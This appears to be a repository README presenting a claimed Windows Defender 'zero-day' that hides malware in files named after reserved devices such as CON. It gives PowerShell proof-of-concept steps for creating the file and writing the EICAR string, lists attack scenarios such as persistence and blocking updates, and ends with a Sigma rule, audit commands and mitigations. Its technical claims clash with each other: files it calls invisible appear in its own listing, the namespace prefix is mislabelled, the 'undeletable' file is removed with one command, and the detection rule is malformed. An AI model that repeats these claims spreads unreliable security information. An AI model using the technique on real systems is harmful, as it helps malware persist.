Windows Defender Reserved Filename Zero-Day

Disclaimer: This repository is for educational and defensive purposes only. The information provided here is intended to help security professionals understand the mechanics of the vulnerability, test their own systems, and develop mitigation strategies. Misuse of this information to attack systems without prior authorization is illegal and unethical.

---

📖 Index

• TL;DR
• What is this Vulnerability?
• Technical Deep Dive
  • Reserved DOS Device Names
  • The NT Namespace & \\?\ Prefix
  • How the Bypass Works
  • Windows Defender's Fatal Flaw: DeleteFile vs NtDeleteFile
• Impact & Risk Assessment
• Proof of Concept (PoC)
• Detection & Mitigation
  • Detection Guidance
  • Mitigation Steps for Defenders
• References & Credits

---

🚨 TL;DR

This zero-day vulnerability allows malware to create files with reserved DOS device names (e.g., CON, PRN, AUX) using the NT namespace (\\?\ prefix). These files are completely invisible and undeletable by standard Windows tools, including Windows Defender.

When malware writes the EICAR test string (or any malicious payload) into such a file, Windows Defender detects the threat but fails to delete it, leaving the infection active and persistent. The root cause is Defender's reliance on the legacy DeleteFile API rather than the NT-level NtDeleteFile function.

---

🧠 What is this Vulnerability?

Windows maintains a legacy compatibility feature that reserves certain names (CON, PRN, AUX, NUL, COM1-COM9, LPT1-LPT9) for backward compatibility with DOS devices. These names are typically blocked by standard Win32 APIs to prevent conflicts.

However, by using the NT namespace prefix (\\?\), it's possible to bypass these restrictions and create files with these reserved names directly on the NTFS volume.

Once created, such a file cannot be accessed or deleted by normal means—File Explorer, del commands, and even Windows Defender fail to remove it. The system essentially treats the reserved name as a device reference rather than a filename, causing deletion attempts to silently fail.

What is CVE? No CVE ID has been assigned as of this writing. This is a publicly disclosed zero-day vulnerability affecting all currently supported versions of Microsoft Windows (Windows 10, Windows 11, Windows Server 2016/2019/2022). No known patches are available at this time.

CVSS Severity Score: 7.8 (High) / CVSS 3.1 Vector: AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

---

🔬 Technical Deep Dive

Reserved DOS Device Names

Windows reserves the following case-insensitive names for legacy device interfaces:

Base Name	Description
CON	Console (keyboard + display)
PRN	Printer
AUX	Auxiliary device
NUL	Null device
COM1 - COM9	Serial communication ports
LPT1 - LPT9	Parallel printer ports
CONIN$	Console input
CONOUT$	Console output

These names are explicitly forbidden in standard Win32 file creation calls, and Windows returns an error if an application attempts to create a file with such a name.

The NT Namespace & \\?\ Prefix

Windows has two overlapping namespaces:

1. Win32 Device Namespace (\\.\) – Used to access physical devices directly, bypassing the file system.

2. NT Namespace (\\?\) – Prefix that tells Windows APIs to disable all string parsing and send the path directly to the file system. This bypasses:

   • MAX_PATH length restrictions
   • Reserved DOS device name checks
   • Trailing space/period stripping

How the Bypass Works

flowchart TD
    A[Standard Win32 API call] --> B{Reserved name check}
    B -->|Reserved name found| C[Error: Invalid filename]
    
    D[NT namespace call with `\\?\`] --> E[Path sent directly to NTFS driver]
    E --> F[Reserved name treated as filename]
    F --> G[File created successfully]

Loading

Microsoft's own documentation acknowledges that files with reserved names cannot be deleted via standard Win32 tools, and recommends using non-Win32 programs or tools with POSIX compatibility to rename or delete them.

Windows Defender's Fatal Flaw: DeleteFile vs NtDeleteFile

This vulnerability chains with a deeper architectural flaw:

Windows Defender (and many standard deletion routines) relies on the Win32 DeleteFile API, which enforces the reserved name check. The NT-level function NtDeleteFile (also known as ZwDeleteFile) is designed to work with NT namespace paths and can delete these files.

However, Defender does not use NtDeleteFile. This oversight means:

1. ✅ Defender can detect the malicious EICAR payload.
2. ❌ Defender cannot delete the file it just detected.
3. 🔄 The threat persists across scans and reboots.

Microsoft officially acknowledges that if a file name includes a reserved name in the Win32 name space (such as LPT1), you cannot delete the file. The recommended solution is to use a non-Win32 program to rename or delete it.

---

⚠️ Impact & Risk Assessment

Impact Vector	Severity	Explanation
Persistence	🔴 Critical	Malware survives reboots, system scans, and manual deletion attempts
Detection Evasion	🔴 Critical	Files are invisible to File Explorer and standard directory listings
Defender Bypass	🔴 Critical	Defender detects the threat but cannot take remedial action
Data Persistence	🟠 High	Ransomware could store keys in undeletable files
False Clean Status	🟡 Medium	System appears clean to standard scans
Forensic Evasion	🟡 Medium	Evidence can be stored in inaccessible locations

Real-World Attack Scenarios:

1. Persistence Mechanism: Malware can store its loader or configuration in an undeletable file, ensuring re-infection after every system reboot.

2. Ransomware Key Storage: Attackers could store decryption keys or victim identifiers in inaccessible files, preventing recovery without paying the ransom.

3. Defensive Countermeasures: The vulnerability can be used to block Windows Updates by creating a C:\Windows\System32\config\CON file that interferes with update mechanisms.

4. Data Exfiltration Buffer: Large amounts of stolen data could be cached in a hidden file that standard forensics tools cannot access.

5. C2 Beaconing: Command & Control communication logs could be stored in an invisible file, making IoC hunting nearly impossible.

---

🧪 Proof of Concept (PoC)

IMPORTANT: Execute this only in a controlled lab environment. Do not run this on production systems.

Step 1: Create the Reserved Filename

# Create a file named "CON" using the NT namespace
New-Item -Path "\\?\C:\Users\$env:USERNAME\Desktop\CON" -ItemType File -Force

Expected Output:

    Directory: C:\Users\testuser\Desktop
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         xx/xx/xxxx 00:00:00              0 CON

Note that no error is returned – the command succeeds silently.

Step 2: Inject Malicious Payload (EICAR Test String)

# EICAR test string (completely harmless, but detected by all antivirus engines)
$eicar = 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'

# Write to the reserved file
$eicar | Out-File -FilePath "\\?\C:\Users\$env:USERNAME\Desktop\CON" -Encoding ASCII

Step 3: Verify Detection by Windows Defender

• Windows Defender will flag the file as a threat.
• The alert may appear as:
  • Trojan:Win32/ConAtt.SE
  • EICAR-Test-File (not a virus)
  • or similar detection name

Step 4: Attempt Removal via Defender

• Open Windows Security → Virus & Threat Protection
• Click on "Protection history"
• Attempt to remove the threat

Result: The operation appears to succeed, but the file remains on disk.

Step 5: Verify Persistence

# Try to delete normally – FAILS
Remove-Item "C:\Users\$env:USERNAME\Desktop\CON"
# Error: Cannot find path

# Check if file still exists – SUCCESS
Test-Path "\\?\C:\Users\$env:USERNAME\Desktop\CON"
# Returns: True

Step 6: Manual Removal (as a defender)

The only way to delete the file is to use the same NT namespace approach:

# You must use the same \??\ prefix to delete
Remove-Item "\\?\C:\Users\$env:USERNAME\Desktop\CON" -Force

⚠️ Warning: Even administrators cannot delete these files through normal means. The \\?\ prefix is required for both creation and deletion.

---

🛡️ Detection & Mitigation

Detection Guidance

Monitor for suspicious PowerShell commands containing \\?\ followed by a reserved device name:

Sigma Rule Candidate:

title: Suspicious NT Namespace File Creation
id: 8a4f2c1e-9b3d-4e5f-8a7c-1b2c3d4e5f6a
status: experimental
description: Detects creation of files with reserved DOS names using NT namespace
author: Security Researcher
references:
    - https://github.com/Mr-PL4yer/Windows-Defender-Zero-Day
date: 2026-06-07
logsource:
    product: windows
    service: powershell
detection:
    selection:
        ScriptBlockText|contains:
            - '\\?\\'
            - '\\.\\'
        ScriptBlockText|contains:
            - '\CON'
            - '\PRN'
            - '\AUX'
            - '\NUL'
            - '\COM1'
            - '\COM2'
            - '\COM3'
            - '\COM4'
            - '\COM5'
            - '\COM6'
            - '\COM7'
            - '\COM8'
            - '\COM9'
            - '\LPT1'
            - '\LPT2'
            - '\LPT3'
            - '\LPT4'
            - '\LPT5'
            - '\LPT6'
            - '\LPT7'
            - '\LPT8'
            - '\LPT9'
    condition: selection
level: high

Audit Commands to Run:

# Scan for reserved name files across the entire system
Get-ChildItem -Path "\\?\C:\" -Recurse -Force -ErrorAction SilentlyContinue | 
    Where-Object { $_.Name -match '^(CON|PRN|AUX|NUL|COM[1-9]|LPT[1-9])(\.|$)' }

# Check for NT namespace use in process creation events
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; ID=4104} | 
    Where-Object { $_.Message -match '\\\\\?\\\\' }

Mitigation Steps for Defenders

1. Update Windows Defender: Ensure the latest security intelligence updates are installed. While this may not patch the root cause, newer signatures may improve detection.

2. Use Microsoft Defender Offline Scan:

   • Open Windows Security → Virus & Threat Protection
   • Click "Scan options" → Select "Microsoft Defender Offline Scan"
   • This runs a scan outside the normal Windows environment

3. Deploy Custom Detection Rules:

   • Monitor for \\?\ prefix usage by non-legitimate processes
   • Alert on file creation events with reserved device names

4. Implement Application Control:

   • Restrict PowerShell script execution
   • Block creation of files in sensitive directories (system32, ProgramData, Windows)

5. Use Third-Party Security Tools:

   • Run scans with alternative AV solutions like Malwarebytes
   • Use Sysinternals tools (Process Monitor, Autoruns) for deep inspection

6. For Confirmed Infections:

   • Boot from a trusted recovery environment (Windows PE, Linux live USB)
   • Mount the affected volume using non-Win32 tools
   • Delete the malicious file using rm (Linux) or specialized NT tools

---

📚 References & Credits

Primary References

• Microsoft Q&A: "Cannot delete Trojan:Win32/ConAtt.SE" – Real-world user reports of persistent trojan detections
• Microsoft Docs: Naming Files, Paths, and Namespaces – Official documentation on reserved names
• Undercode Testing: Windows Hacking Trick: Create An Undeletable 1GB File Using Device Namespace Bypass

Related CVEs & Vulnerabilities

• CVE-2023-45284 – Incorrect detection of reserved device names in Windows
• CVE-2024-35197 – Reserved Windows device names leading to device interactions
• CVE-2026-41091 – Defender privilege escalation via improper link resolution

Additional Reading

• BlueHammer Zero-Day – LPE exploit using Defender's update mechanism
• RedSun Vulnerability – Defender logic flaw allowing SYSTEM escalation
• Microsoft Docs: File Names, Paths, and Namespaces (Device Namespaces) – Comprehensive documentation on Win32 and NT namespaces

Credits

This vulnerability was identified and analyzed by independent security researchers. The community is encouraged to contribute additional detection methods, mitigation strategies, and forensic techniques.

---

⭐ Support

If you find this research useful, please consider:

• ⭐ Starring this repository to help others discover it
• 🔄 Sharing with your security team
• 📝 Contributing detection rules or mitigation improvements

---

Stay vigilant. Stay informed. Stay secure.
_{© 2026 - For educational and defensive purposes only}

```